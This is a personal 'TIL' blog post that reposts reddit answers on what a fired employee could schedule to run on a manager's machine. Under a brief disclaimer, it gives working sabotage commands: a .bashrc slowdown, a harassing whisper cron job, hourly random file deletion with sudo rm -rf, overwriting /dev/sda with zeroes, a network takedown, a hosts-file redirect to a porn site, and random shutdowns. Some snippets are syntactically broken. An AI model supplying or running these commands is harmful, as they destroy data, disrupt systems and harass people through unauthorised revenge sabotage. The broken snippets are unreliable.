Today I Learned - Rocky Kev

TIL Evil code

POSTED ON:

TAGS:

The meme says: I am your manager. I fired you recently. This is your last day. You have my login. Schedule a command to execute after you are gone.

WARNING: This is for learning purposes.

These examples are unethical, and can even be criminal. You can get jailtime.

But "obscurity is not security" and "pretending like lockpicks don't exist" isn't a strategy.

You have been warned and I cannot be held liable for your dumb-assery.

via this post on reddit

Some of the best code:

Longer commands

PS0="$PS0"'$(sleep "$((($(date +%s)-$(date +%s -ud 2023-03-14\ 12:00:00))/3600/24/10))")'

put in .bashrc

Every 10 days from now, each command will take 1 second longer to execute

After a year, they'll be waiting over 36 seconds for any command. Nice idea. Subtle but efficient.

watching you

Add this to their crontab:

It's not meant to print anything, it's text-to-speech (:

0 0 * * * sleep $((RANDOM\%345600)) && /usr/bin/say -v Whisper "I am watching you" >/dev/null 2>&1

Crontab

longer ls

var = 0 alias ls='sleep $var && $var = $var+1 && ls'

put in .bashrc

explanation: this creates a variable which stores a int value. now Everytime ls is Called it waits for the amount if time stored in the var (usually seconds) then adds 1 to that variable and finally calls ls.

so everuy time you use ls ot gets slower and slower until you have to wait a minute or more just for a simple ls.

Also, it resets for each new shell (since $var isn't stored between shell sessions). The longer the shell has been opened (well, the more times you use ls in the shell technically) the longer ls will take... and if you have two shells opened at the same time the timings will be different probably confusing people.

Randomly delete files

Add this to a cron taks that runs once an hour

sudo find / -type f -print0 -- Find all files under the root directory and list them separated by a null byte (\0) rather than a newline. -type f limits this to only returning files. -print0 tells it to use null instead of newline.

The output of that is passed to:

shuf -n1 -z -- Never used this personally, but I'm assuming that this shuffles all of the lines provided to it. -z probably tells it to use null byte to separate "lines" rather than the newline character (\n). And I'm assuming the -n1 works like head and tail and tells the number of lines to return.

The single file that is returned from shuf is passed to:

sudo rm -rf => remove all files provided afterwards. -r recurses into subdirectories and -f is "force" and means that it won't prompt about things like if the file is read-only so long as you have permissions to delete it.

To sum it all up:

Every hour, find a random file on the server and delete it.

sudo rm -rf "$(sudo find / -type f -print0 | shuf -n1 -z)"

BONUS:

I feel like a cron task that flips a random bit in /dev/kmem once an hour would be more annoying and less likely to get the system wiped and rebuilt.

You could also abuse ip and run something like `ip link set dev eth0 down && sleep $((RANDOM % 7200)) && up link set dev eth0 up Once a month.

Internet stops working, user complains, internet starts working. It doesn't happen every week, so I'm not sure if the machine would get immediately imaged and anything that syncs to nextcloud or whatever will probably just queue and finish when it comes back up.

Host file

I’ll edit their hosts file to include this:

66.254.114.41 google.com duckduckgo.com ddg.gg

(It’s the IP address for PornHub.)

Insta delete

It'll fill your filesystem with zeroes

while true; do

cat /dev/zero > /dev/sda

Random resets

import os
import random

list1 = range(0,100)

randomNumber = random.choice(list1)

if randomNumber==69:
    os.system("shutdown /s /t 1")

Related TILs

Tagged:

TIL Evil code

These examples are unethical, and can even be criminal. You can get jailtime. You have been warned and I cannot be held liable for your dumb-assery.

TIL Play music in a bash script

On Macs, you have the afplay command. to play some sweet tunes.

TIL the fix everything script

A script that fixes everything for end-users